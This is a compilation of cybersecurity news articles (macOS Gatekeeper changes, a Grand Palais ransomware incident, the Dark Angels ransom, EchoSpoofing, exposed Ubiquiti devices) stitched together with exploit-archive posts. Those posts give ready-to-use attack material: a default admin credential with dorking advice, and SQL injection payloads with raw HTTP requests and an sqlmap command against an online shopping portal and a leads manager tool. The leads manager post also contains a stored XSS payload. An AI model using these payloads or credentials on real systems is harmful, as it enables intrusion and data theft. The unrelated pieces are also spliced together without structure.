Apple on Tuesday announced an update to its next-generation macOS version that makes it a little more difficult for users to override Gatekeeper protections.
Gatekeeper is a crucial line of defense built into macOS designed to ensure that only trusted apps run on the operating system. When an app is downloaded from outside of the App Store and opened for the first time, it verifies that the

Malware / Software Security

Apple on Tuesday announced an update to its next-generation macOS version that makes it a little more difficult for users to override Gatekeeper protections.

Gatekeeper is a crucial line of defense built into macOS designed to ensure that only trusted apps run on the operating system. When an app is downloaded from outside of the App Store and opened for the first time, it verifies that the software is from an identified developer.

It also runs checks to ensure that the app is notarized and has not been tampered with to install malware on macOS systems. Furthermore, it requires user approval before allowing any such third-party app to be run.

It's this user approval mechanism that Apple has now tightened further with macOS Sequoia, the next iteration of the Mac operating system that's expected to be released next month.

"In macOS Sequoia, users will no longer be able to Control-click to override Gatekeeper when opening software that isn't signed correctly or notarized," Apple said.

"They'll need to visit System Settings > Privacy & Security to review security information for software before allowing it to run."

The move is seen as a way to counter stealer malware and backdoors targeting macOS that are often unsigned and trick users into bypassing Gatekeeper protections.

In July 2023, North Korean threat actors were observed propagating an unsigned disk image (DMG) file that impersonated a legitimate video call service named MiroTalk and unleashed its malicious behavior after a victim control-clicks and selects "Open" and ignores the security warning from Apple.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Apple’s New macOS Sequoia Tightens Gatekeeper Controls to Block Unauthorized Software

Everyone expected some kind of cyberattack during the Olympics. If this is the best they've got, the bad guys don't deserve a spot on the podium.

Source: Alexandre ROSA via Alamy Stock Photo

Overnight on Saturday, Aug. 3, cyberattackers struck the computer systems belonging to the Réunion des Musées Nationaux et Grand Palais (RMN), a French cultural institution that oversees dozens of museums, shops, and exhibitions, as well as around 100 publications.

In its own words, RMN is "neither a museum nor a gallery, but an unidentified creature on the cultural landscape." This summer, its namesake Grand Palais complex has hosted various Olympics-related exhibitions and events, including fencing and Taekwondo competitions.

Between Aug. 3 and 4, RMN fell victim to a purported ransomware attack. Defenders quickly responded, and the organization reported little impact to any of its many related institutions.

France's Anti-Cybercrime Brigade has opened an investigation into the incident. According to the country's penal code, fraudulently accessing a data processing system is punishable by three years' imprisonment, and deleting or modifying the data therein adds another two years on top.

**What (Seems to Have) Happened**

Le Parisien was the first to report that a weekend attack against RMN involved ransomware. The attack targeted the system that centralizes financial data across its various related institutions. It suggested that a cryptocurrency ransom was involved, that data had been exfiltrated, and that organizations like the Louvre were affected.

In an Aug. 6 press release, however, the RMN said it had discovered no signs of data exfiltration. Meanwhile, the Louvre's chief of staff, in a post to X, denied that the attack had affected it.

The Grand Palais director clarified to reporters, "This only concerns our internal network of shops, and not even the other activities of the RMN-Grand Palais. We immediately disconnected everything that was vital and called on the special state unit that deals with this type of problem, the French Computer Security Agency."

RMN noted that even those potentially affected shops "are operating normally, autonomously and the museums and their bookshops remain open to the public under the usual conditions."

**Hackers' Underwhelming Performance at the Olympics**

"Everyone expected the Olympic Games to be the target of cyberattacks," says Dr. Martin J. Kraemer, security awareness advocate at KnowBe4. If this attack was the best the bad guys have got, though, it will have been underwhelming.

"Attackers have used ransomware attacks on other occasions to cover the tracks of something else," Kraemer adds. "This might be the case here. However, it seems more likely that the scheme is a quick exploit and nothing else in this case."

Still, there are five more days of the Olympics to go. "It will be interesting to watch the situation unfold on the world stage," says Josh Jacobson, director of professional services at HackerOne. "There continues to be a significant risk of attacks against the event’s associated venues, attendees, and spectators. Fake ticketing sites, social engineering campaigns or phishing attacks still pose a significant risk until the games end and beyond that."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Cyberattack Strikes the Grand Palais RMN; Impact Appears Limited

As digital threats against US water, food, health care, and other vital sectors loom large, a new project called UnDisruptable27 aims to help fix cybersecurity weaknesses where other efforts have failed.

An endless parade of data breaches, brutally disruptive ransomware attacks, and crippling IT outages has somehow become the norm around the world. And in spite of escalating impacts to critical infrastructure and daily life, progress has been intermittent and often fleeting. Something's gotta give—and at the BSides Las Vegas security conference this week, a longtime critical-infrastructure security researcher is launching a project to communicate with utility operators, municipalities, and regular people in creative ways about both urgency and optimism around protecting critical infrastructure now.

Dubbed UnDisruptable27, the project will start as a pilot with a $700,000 grant for the first year through Craig Newmark Philanthropies' Cyber Civil Defense coalition. Led by Josh Corman, who was chief strategist for the US Cybersecurity and Infrastructure Security Agency's Covid Task Force, in collaboration with the Institute for Security and Technology (IST), the project will focus on the critical interdependence of water, food, emergency medical care, and power as the backbone of human safety. Corman says that the key goal is to foster new discourse about these challenges inspired by the disaster management tenets “inform, influence, inspire.” In other words, people need to understand the risks and feel empowered that they can take action.

“We are overdependent on undependable things. No one should feel comfortable with the potential for harm here with our current state of defense,” Corman told WIRED ahead of the announcement. “Our dependence on connected tech has grown faster than our ability to secure it. People have been doing good things, but public policy takes time, and I think this year we need to cross certain thresholds on the sense of urgency.”

One of Corman's main motivations to launch the effort as quickly as possible came from comments made during a January congressional hearing about the cybersecurity threat China poses to the US. In the hearing, then Cyber Command head and NSA director Paul Nakasone, Cybersecurity and Infrastructure Security Agency director Jen Easterly, FBI director Christopher Wray, and head of the Office of the National Cyber Director Harry Coker Jr. testified about pressing threats to US critical infrastructure, including specific campaigns the Chinese hacking group known as Volt Typhoon has been conducting to pre-position itself in US water infrastructure. The goal of this targeting is apparently to create leverage and a credible threat against the US as part of a Chinese plan to invade Taiwan, potentially in 2027.

“The budgets that emerge from discussions underway now will dictate what kind of resources we have ready in 2027, a year that, as this committee knows all too well, the CCP has circled on its calendar,” Wray told the US House of Representatives committee in January. “And that year will be on us before you know it. As I've described, the PRC is already today putting their pieces in place. I do not want those watching today to think we can't protect ourselves, but I do want the American people to know that we cannot afford to sleep on this danger.”

Having worked on embedded device security and critical infrastructure defense for years, including through the decade-old grassroots computer security and human safety initiative he founded known as I Am the Cavalry, Corman says that it felt significant that some of the nation's top intelligence officials were warning Congress of such specific threats to US infrastructure in an unclassified setting.

“It’s not just that the water goes out, it’s that when the sole wastewater facility in your community is down really bad things start to happen. For example, no water means no hospital,” he says. “I really encountered a lot of this during my leadership of the Covid Task Force. There is such interdependence across the basic functions of society.”

UnDisruptable27 will focus on interacting with communities who aren't reached by Washington, DC-based policy discussions or Information Sharing and Analysis Centers (ISACs), which are meant to represent each infrastructure sector of the US. The project aims to communicate directly with people who actually work on the ground in US critical infrastructure, and grapple together with the reality that cybersecurity-related disasters could impact their daily work.

“There’s a data breach, you get whatever services like identity protection for some period of time, and life carries on, and people think that there’s no long-term impact," says Megan Stifel, IST's chief strategy officer. “There’s this expectation that it’s fine, things will just continue. So we’re very interested in getting after this issue and thinking about how do we tackle critical infrastructure security with perhaps a new approach.”

Corman notes that even though cybersecurity incidents have become a well-known fact of life, business owners and infrastructure operators are often shaken and caught off guard when a cybersecurity incident actually affects them. Meanwhile, when government entities try to impose cybersecurity standards or become a partner on defense initiatives, communities often balk at the intrusion and perceived overreach. Last year, for example, the US Environmental Protection Agency was forced to rescind new cybersecurity guidelines for water systems after water companies and Republicans in Congress filed a lawsuit over the initiative.

“Time and time again, trade associations or lobbyists or owners and operators have an allergic reaction to oversight and say, ‘We prefer voluntary, we’re doing fine on our own,’” Corman says. “And they really are trying to do the right thing. But then also time and time again, people are just shocked that disruption could happen and feel very blindsided. So you can only conclude that the people who feel the pain of our failures are not included in the conversation. They deserve to understand the risks inherent in this level of connectivity. We’ve tried a lot of things, but we have not tried just leveling with people.”

UnDisruptable27 is launching this week for visibility among attendees at BSides as well as the other conferences, Black Hat and Defcon, that will run through Sunday in Las Vegas. Corman says that the goal is to combine the hacker mentality and, essentially, a call for volunteers with plans to work with creative collaborators on producing engaging content to fuel discourse and understanding. Information campaigns using memes and social media posts or moonshots like narrative podcasts and even reality TV are all on the table.

“We must prioritize the security, safety, and resilience of critical infrastructure—including water, health care facilities, and utilities," Craig Newmark, the Craigslist founder whose philanthropy is funding UnDisruptable27, told WIRED. "The urgency of this issue requires affecting human behavior through storytelling.”

A New Plan to Break the Cycle of Destructive Critical Infrastructure Hacks

Computer Laboratory Management System version 1.0 suffers from an ignored default credential vulnerability.

**Computer Laboratory Management System 1.0 Insecure Settings**

Posted Aug 6, 2024

Authored by indoushka

Computer Laboratory Management System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 903fb54e0bd8fb8efe43fdddb49a0f5abaa23ea96b8495e4f7c47b36636f9f0d

Download | Favorite | View

**Computer Laboratory Management System 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : Computer Laboratory Management System v1.0 Insecure Settings Vulnerability                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#comment-104400      |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,255)
*   Arbitrary (16,849)
*   BBS (2,859)
*   Bypass (1,860)
*   CGI (1,033)
*   Code Execution (7,786)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,385)
*   DoS (25,039)
*   Encryption (2,389)
*   Exploit (53,128)
*   File Inclusion (4,258)
*   File Upload (990)
*   Firewall (822)
*   Info Disclosure (2,888)
*   Intrusion Detection (915)
*   Java (3,142)
*   JavaScript (896)
*   Kernel (7,188)
*   Local (14,791)
*   Magazine (586)
*   Overflow (13,166)
*   Perl (1,435)
*   PHP (5,221)
*   Proof of Concept (2,381)
*   Protocol (3,724)
*   Python (1,632)
*   Remote (31,643)
*   Root (3,633)
*   Rootkit (526)
*   Ruby (631)
*   Scanner (1,657)
*   Security Tool (8,025)
*   Shell (3,273)
*   Shellcode (1,217)
*   Sniffer (902)
*   Spoof (2,275)
*   SQL Injection (16,604)
*   TCP (2,440)
*   Trojan (690)
*   UDP (904)
*   Virus (669)
*   Vulnerability (32,932)
*   Web (9,955)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,246)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,087)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,536)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,612)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,441)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,727)
*   UNIX (9,433)
*   UnixWare (187)
*   Windows (6,668)
*   Other

Computer Laboratory Management System 1.0 Insecure Settings

In the cloud, patches disseminate automatically. On your computer, you get notified. IoT devices, meanwhile, can escape attention for years on end.

Source: Nirbokphoto.com via Alamy Stock Photo

Tens of thousands of small office/home office (SOHO) devices sold by Ubiquiti Inc. are vulnerable on the open Internet to a five-year-old bug, researchers are warning.

In January 2019, broadband Internet expert Jim Troutman warned that an exposed port in dozens of Ubiquiti Internet of Things (IoT) gadgets was being exploited in denial-of-service (DoS) attacks. The underlying vulnerability, CVE-2017-0938, was assigned a "high" 7.5 score on the CVSS scale.

Seven months after that, researchers from Rapid7 were still able to find nearly 500,000 vulnerable devices. And now, even though Ubiquiti has long since acknowledged and patched the issue, around 20,000 devices remain vulnerable, Check Point Research noted in a new blog post.

"We can see that some of them were compromised," says Radoslaw Madej, vulnerability research team leader at Check Point Software. "Also, I've only done pretty rudimentary fingerprinting of the devices. It's quite possible that there are more of them \[compromised\] too."

Check Point also warned that besides being used in a SOHO botnet for DoS attack amplification, compromised devices can leak potentially sensitive data, too.

**Exposed Cameras & Routers Can Leak Data**

In probing Ubiquiti gadgets like the G4 Instant Camera — an Internet-enabled camera with two-way audio — Check Point homed in on port 10001, where the exposed process was first identified five years ago. The service at issue: Ubiquiti's discovery protocol, used to communicate between the device and its CloudKey+ controller.

Using spoofed packets, the Check Point researchers discovered that communicating with neither the CloudKey+ nor its connected devices required any sort of authentication. Further, the messages they received in response to their pings included specific information about the devices, plus their owners' names and locations.

"In a few instances, actually, there was a first name and the last name of a person, and what turned out to be a location where a Ubiquiti router was located," Madej recalls. "All this information … it took only one packet from me to receive that response.

"If I wanted to attack this entity, it would be easy for me, knowing the type of router they have, the name of the person, the exact software version, and their business address. \[I could\] find their contact details, and call them up saying: 'Hey, I'm calling from your Internet provider. I need to do some maintenance work. Provide me with access to the admin panel.' Because I can validate myself to this person by giving them all the information they need."

**The Issue with IoT**

Patched Ubiquiti products have a safeguard against Internet-based attacks: They do not respond to pings coming from the wider Web, only from internal IP addresses.

Despite the easy availability of such a simple fix, tens of thousands affected products in the wild remain unpatched. This seems to have a lot less to do with Ubiquiti itself than IoT security in general.

"We got used to patching our Windows machines and MacBooks and mobile phones and whatnot, but we're still not really used to the fact that we should also take care about our IoT devices, be it Wi-Fi routers, cameras, vacuum cleaners, fridges, and washing machines," Madej says.

"Of course," he adds, "the question is: To what extent an end user should even be bothered about it. We live in a time when all devices should have automatic updates enabled by default. I don't think that should be a concern of the end user."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

20K Ubiquiti IoT Cameras &amp; Routers Are Sitting Ducks for Hackers

Online Shopping Portal Project version 2.0 suffers from a remote SQL injection vulnerability.

    [x]========================================================================================================================================[x] | Title        : Online Shopping Portal Project 2.0 SQL Vulnerabilities | Software     : Online Shopping Portal Project | Create By    : https://phpgurukul.com/author/anujk305/ | Version  : V 2.0 | Last Updated  : 06 June 2024 | Download     : https://phpgurukul.com/shopping-portal-free-download/ | Date         : 03 Agustus 2024 | Author       : OoN_Boy[x]========================================================================================================================================[x] | Technology  : PHP | Database  : MySQL | Price  : FREE | Description  : E-commerce means any transaction over the internet.[x]========================================================================================================================================[x][O] Exploit    http://127.0.0.1/shopping/order-details.php [email parameter]  http://127.0.0.1/shopping/order-details.php [orderid parameter]    [O] Proof of concept    create an account and order one of the items, then track your order.  sqlmap.py "YOU RAW DATA" --dbs  [SQL]  POST /shopping/order-details.php HTTP/1.1  Host: 127.0.0.1  Content-Length: 42  Cache-Control: max-age=0  sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"  sec-ch-ua-mobile: ?0  sec-ch-ua-platform: "Windows"  Accept-Language: en-US  Upgrade-Insecure-Requests: 1  Origin: http://127.0.0.1  Content-Type: application/x-www-form-urlencoded  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  Sec-Fetch-Site: same-origin  Sec-Fetch-Mode: navigate  Sec-Fetch-User: ?1  Sec-Fetch-Dest: document  Referer: http://127.0.0.1/shopping/track-orders.php  Accept-Encoding: gzip, deflate, br  Cookie: auth-token-secret=ce668e880e958286436c06776b331b4b; auth-token=cc6dae05ce833672d48f461769dcd56c; PHPSESSID=qnae9mjoqfs22v54k55e1bt1hh  Connection: keep-alive  orderid=1&email=vrs_hck@maho.id&submit=    [x]========================================================================================================================================[x][O] GreetzBatamHacker, Vrs-hCk, c0li, h4ntu, Opay, Ndet, Ipay, Paman, NoGe, H312Y, dono, pizzyroot, zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia, str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^[x]========================================================================================================================================[x]

Online Shopping Portal Project 2.0 SQL Injection

A list of topics we covered in the week of July 29 to August 4 of 2024

August 2, 2024 - The FBI warns about scammers that impersonate employees of cryptocurrrency exchanges as a means to defraud victims

July 31, 2024 - Meta has settled a Texas lawsuit over gathering biometric data for Facebook's "Tag Suggestions" feature without informed consent.

July 31, 2024 - Apple has released security updates that patch vulnerabilities in Siri and VoiceOver that could be used to access sensitive user data.

July 30, 2024 - Only trust official sources they say, but what happens when a Google vetted ad is for a Google product?

July 29, 2024 - This week on the Lock and Code podcast, we speak with Jess Dodson about SIEM selection, management, and proper data collection.

 A week in security (July 29 &#8211; August 4) 

The runaway success of an upstart ransomware outfit called "Dark Angels" may well influence the cyberattack landscape for years to come.

Source: Jakub Krechowicz via Alamy Stock Photo

A Fortune 50 company paid $75 million to its cyberattackers earlier this year, greatly exceeding any other confirmed ransom payment in history. The beneficiary of the payout is an outfit called Dark Angels. And Dark Angels isn't just effective — in some ways, the gang turns so much of what we thought we knew about ransomware on its head.

Sure, there have been other big amounts forked over in the past: In 2021, Illinois-based CNA Financial was reported to have paid a then unprecedented $40 million ransom in order to restore its systems after a ransomware attack (the company never confirmed that figure). Later that year, the meat manufacturer JBS admitted to paying $11 million to end a disruption affecting its factories. Caesars Palace last year paid $15 million to make its ransomware disruption problems go away.

But those figures pale in comparison against the $75 million in equivalent Bitcoin paid by the aforementioned large organization, which Zscaler chose to keep anonymous in its 2024 annual ransomware report, where the payout was first recorded. The dollar amount has also been corroborated by Chainalysis.

**Meet the Dark Angels**

Dark Angels first appeared in the wild in May 2022. Ever since, its specialty has been defeating fewer but higher-value targets than its ransomware brethren. Past victims have included multiple S&P 500 companies spread across varied industries: healthcare, government, finance, education, manufacturing, telecommunications, and more.

For example, there was its headline-grabbing attack on the megalith Johnson Controls International (JCI) last year. It breached the company's VMware ESXi hypervisors, freezing them with Ragnar Locker and stealing a reported 27 terabytes worth of data. The ransom demand: $51 million. It's unclear how Johnson Controls responded but, considering its $27 million-plus cleanup effort, it's likely that the company did not cave.

$27 million would have been the second-largest ransom payment in recorded history at the time (after the reported CNA payment). But there's evidence to suggest that this wasn't just some outlandish negotiating tactic — that Dark Angels has good reason to think it can pull off that kind of haul.

**Dark Angels Does Ransomware Differently**

Forget everything you know about ransomware, and you'll start to understand Dark Angels.

Against the grain, the group does not operate a ransomware-as-a-service business. Nor does it have its own malware strain — it prefers to borrow encryptors like Ragnar Locker and Babuk.

Its success instead comes down to three primary factors. First: the extra care it can take by attacking fewer, higher-yielding targets.

Second is its ability to exfiltrate gobs of sensitive data. As Brett Stone-Gross, senior director of threat intelligence at Zscaler explains, "If you look at a lot of these other ransomware groups, their affiliates are stealing maybe a few hundred gigabytes of data. Sometimes even less than 100 gigabytes of data. They usually top out around, maybe, one terabyte or so. In contrast, Dark Angels are stealing tens of terabytes of data."

In that, Dark Angels differs only in degree, not in kind. Where it really separates itself from other groups is in its subtlety. Its leak site isn't flashy. It doesn't make grand pronouncements about its latest victims. Besides the obvious operational security benefits to stealth (it's largely escaped media scrutiny in recent years, despite pulling off major breaches), its aversion to the limelight also helps it earn larger returns on investment.

For example, the group often avoids encrypting victims' data, with the express purpose of allowing them to continue to operate without disruption. This seems to defy common wisdom. Surely the threat of downtime and media scrutiny are effective tools to get victims to pay up?

"You would think that, but the results say otherwise," Stone-Gross suggests.

Dark Angels makes paying one's ransom easy and quiet — an attractive prospect for companies that just want to put their breaches behind them. And avoiding business disruption is mutually beneficial: Without the steep bills associated with downtime, companies have more money to pay Dark Angels.

**Can Dark Angels' Wings Be Clipped?**

In its report, Zscaler predicted "that other ransomware groups will take note of Dark Angels’ success and may adopt similar tactics, focusing on high value targets and increasing the significance of data theft to maximize their financial gains."

If that should come to pass, companies will face much steeper, yet more compelling ransom demands. Luckily, Dark Angels' approach has an Achilles' heel.

"If it's a terabyte of data, \[a hacker\] can probably complete that transfer in several days. But when you're talking terabytes — you know, tens of terabytes of data — now you're talking weeks," Stone-Gross notes. So, companies that can catch Dark Angels in the act may be able to stop them before it's too late.

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Fortune 50 Co. Pays Record-Breaking $75M Ransomware Demand

A simple toggle in Proofpoint's email service allowed for brand impersonation at an industrial scale. It prompts the question: Are secure email gateways (SEGs) secure enough?

Source: Cheryl Ann Quigley via Alamy Stock Photo

Millions of near-undetectable emails impersonating blue chip companies were spreading every day through the first half of 2024, thanks to some permissive features of Microsoft 365 and Proofpoint's email protection service.

Proofpoint's secure email gateway (SEG) is a kind of firewall for corporate emails, filtering what comes in and applying authentication to what goes out. Recently, though, researchers from Guardio uncovered a campaign undermining that outbound part, utilizing a "super-permissive misconfiguration flaw" to send credit-card scam emails that were signed and verified as if they came from legitimate, brand name corporate accounts.

"It puts recipients in a weird place," says Adam Maruyama, field CTO at Garrison Technology. "You can receive a spoofed email and be affected, even if you've done your full \[cybersecurity\] due diligence to try to protect yourself."

Proofpoint has since implemented a fix which has all but killed the campaign, but some broader questions around email security linger.

**How "EchoSpoofing" Worked**

"There's not been a lot that has changed in the underlying infrastructure of what email is since it first started," says Jeremy Fuchs, office of the CTO at Check Point Software. For example, "The sender address in an email is kind of like the sender address in snail mail. I could send you a letter and say it's coming from the North Pole, and there really wouldn't be anything anyone could do to stop it. It's not that simple in the digital world, but it's still fairly easy." 

In the campaign, which Guardio called "EchoSpoofing," the attacker took advantage of this fact by setting up their own Simple Mail Transfer Protocol (SMTP) server on a virtual server. From there, they could send out emails with whatever "From" header they wished — for example, a fake customer service account coming from an @disney.com or @northpole.cool domain.

Of course, any modern security solution that employs anti-spoofing technology like Domain-based Message Authentication Reporting & Conformance (DMARC) monitoring or spam filter would catch suspicious emails coming from a random server. But this is where the EchoSpoofing vulnerability comes into play.

It turned out that Proofpoint's SEG contained a toggle which, when turned on, trusted any emails routing through Microsoft Office 365. Microsoft 365 is a commonly used mail service among businesses, but anybody — including a hacker — can also use it. Thus, if a hacker could send mail through Microsoft to a Proofpoint customer, it would be trusted by default and passed along.

This is where mail exchange (MX) records came in handy. MX records in the Domain Name System (DNS) specify the mail servers responsible for handling email for a domain. Companies that use Proofpoint SEG send their MX records to Proofpoint's servers. These records are public so, Fuchs observes, "they weren't just guessing about who to target. They knew exactly who they could target."

In summary: the attacker forged emails mimicking major corporations (including Disney, Best Buy, ESPN, IBM, Coca Cola, Nike, Fox News, and dozens more) from a private SMTP server, then relayed them through Microsoft 365 to known Proofpoint customers. If the customer had the "super-permissive" setting toggled on, Proofpoint would stamp the malicious emails with the same Domain Keys Identified Mail (DKIM) verification it would legitimate emails, then sent them on to victim inboxes.

**Millions of Fake Emails a Day**

The EchoSpoofing campaign began in January, and was first discovered by Proofpoint itself in late March. At that point, the company explained in a blog post, it took a number of steps to notify and protect customers.

But those efforts did not stem the tide of attacks. In fact, the forged emails only grew in number — averaging three million per week, and occasionally surpassing ten million.

Source: Guardio

Dark Reading reached out to Proofpoint for more information on why email attacks only rose after its initial remediation efforts began. Proofpoint representatives pointed Dark Reading to passages of its blog, and did not provide further comment.

Perhaps the campaign survived because the attacker had a keen operational awareness. As Guardio explained, "Once it finds a vulnerable Proofpoint account (by testing out this exploit on a small scale), it saves the domain for later use, forcing time gaps between delivery opportunities. It switches abused domains and Office365 accounts each time, making it harder to spot the activity and trying to stay 'under the radar' as much as possible."

This diligence may have been the key to the campaign's staying power, even after it had been detected. "It was quite interesting to see how, once the campaign was spotted and Proofpoint customers started to patch and block this exploit, the threat actor realized the decline and started burning out assets — realizing 'the end is near' — as can be seen with the disney.com domain usage in the above graph in early June 2024."

EchoSpoofing finally seems to have died down recently, after Proofpoint introduced a vendor-specific header for outgoing emails. Now, customers can restrict the 365 accounts allowed to send emails on their behalf to only their own.

**Being Diligent About Corporate Email**

Besides permissiveness, negligence too paved the way for the EchoSpoofers.

According to Guardio, despite Proofpoint's efforts to alert Microsoft, the attackers' maliciously-wielded Office365 accounts remain active many months later. In a statement to Dark Reading, a Microsoft spokesperson claimed that "When our partner alerted us to this issue, we took immediate action to investigate. We blocked tenants abusing our service and disabled accounts deemed fraudulent."

Then there were the companies that were victims of being spoofed. As Nati Tal, head of Guardio Labs, notes, they weren't powerless to detect millions of fake emails impersonating their brands. "In this case, if someone from Disney or wherever was looking at the amount of emails being sent out from their ProofPoint \[server\], it would probably have popped out immediately, at the first moment. You would see some kind of anomaly."

That, he says, should be a lesson that "You need to implement some kind of logging, some kind of data tracking for your email distribution."

Organizations that don't implement secure email controls like DMARC monitoring risk far greater cyber consequences than EchoSpoofing has demonstrated thus far. As Maruyama reflects, "I think my concern is that these have been pretty generic spam attacks. 'Click here', then they try to steal your credit card number. I could see a world in which a more sophisticated actor would save a similar vulnerability to do very targeted spear phishing to, for example, get emails through that look like they are from the government and defense services, targeted toward individuals in the Pentagon, DHS, etc. That is a much bigger threat, with due respect to folks who've had credit cards stolen here."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Disney, Nike, IBM Signatures Anchor 3M Fake Emails a Day

Leads Manager Tool suffers from remote SQL injection and cross site scripting vulnerabilities.

    [x]========================================================================================================================================[x] | Title        : Leads Manager Tool SQL & XSS[stored)] Vulnerabilities | Software     : Leads Manager Tool Using PHP and MySQL with Source Code | Create By  : https://www.sourcecodester.com/users/remyandrade | First Release: 25/01/22 | Download     : https://www.sourcecodester.com/php/17510/leads-manager-tool-using-php-and-mysql-source-code.html | Date         : 30 Agustus 2024 | Author       : OoN_Boy[x]========================================================================================================================================[x] | Technology       : PHP | Database         : MySQL | Price            : FREE | Description      : Leads Manager Tool, a comprehensive web application designed to streamline the process of managing business leads. Built with the power of PHP and MySQL, this tool offers a seamless and user-friendly experience for storing, updating, and organizing lead information[x]========================================================================================================================================[x][O] Exploit    http://localhost/leads-manager-tool/endpoint/delete-leads.php?leads=[SQL]  http://localhost/leads-manager-tool/endpoint/add-leads.php    [O] Proof of concept  [SQL]  Parameter: leads (GET)    Type: boolean-based blind  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  Payload: leads= --emurate' RLIKE (SELECT (CASE WHEN (8305=8305) THEN 0x202d2d656d7572617465 ELSE 0x28 END))-- rUwl  Type: error-based  Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  Payload: leads= --emurate' OR (SELECT 1382 FROM(SELECT COUNT(*),CONCAT(0x7162787171,(SELECT (ELT(1382=1382,1))),0x7176706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vKls  Type: stacked queries  Title: MySQL >= 5.0.12 stacked queries (comment)  Payload: leads= --emurate';SELECT SLEEP(5)#  Type: time-based blind  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  Payload: leads= --emurate' AND (SELECT 1244 FROM (SELECT(SLEEP(5)))fAev)-- ZNBt    [XSS]    POST /leads-manager-tool/endpoint/add-leads.php HTTP/1.1  Host: 127.0.0.1  Accept-Encoding: gzip, deflate, br  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  Accept-Language: en-US;q=0.9,en;q=0.8  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36  Connection: close  Cache-Control: max-age=0  Origin: http://127.0.0.1  Upgrade-Insecure-Requests: 1  Referer: http://127.0.0.1/leads-manager-tool/  Content-Type: application/x-www-form-urlencoded  Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="126", "Chromium";v="126"  Sec-CH-UA-Platform: Windows  Sec-CH-UA-Mobile: ?0  Content-Length: 85  leads_name=Vrs<script>alert(1)</script>Hck&email_add=vrs-hck@maho.id&phone_number=911-911-9111    [x]========================================================================================================================================[x][O] GreetzBatamHacker, Vrs-hCk, c0li, h4ntu, Opay, Ndet, Ipay, Paman, NoGe, H312Y, dono, pizzyroot, zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia, str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^[x]========================================================================================================================================[x]

Tag

#apple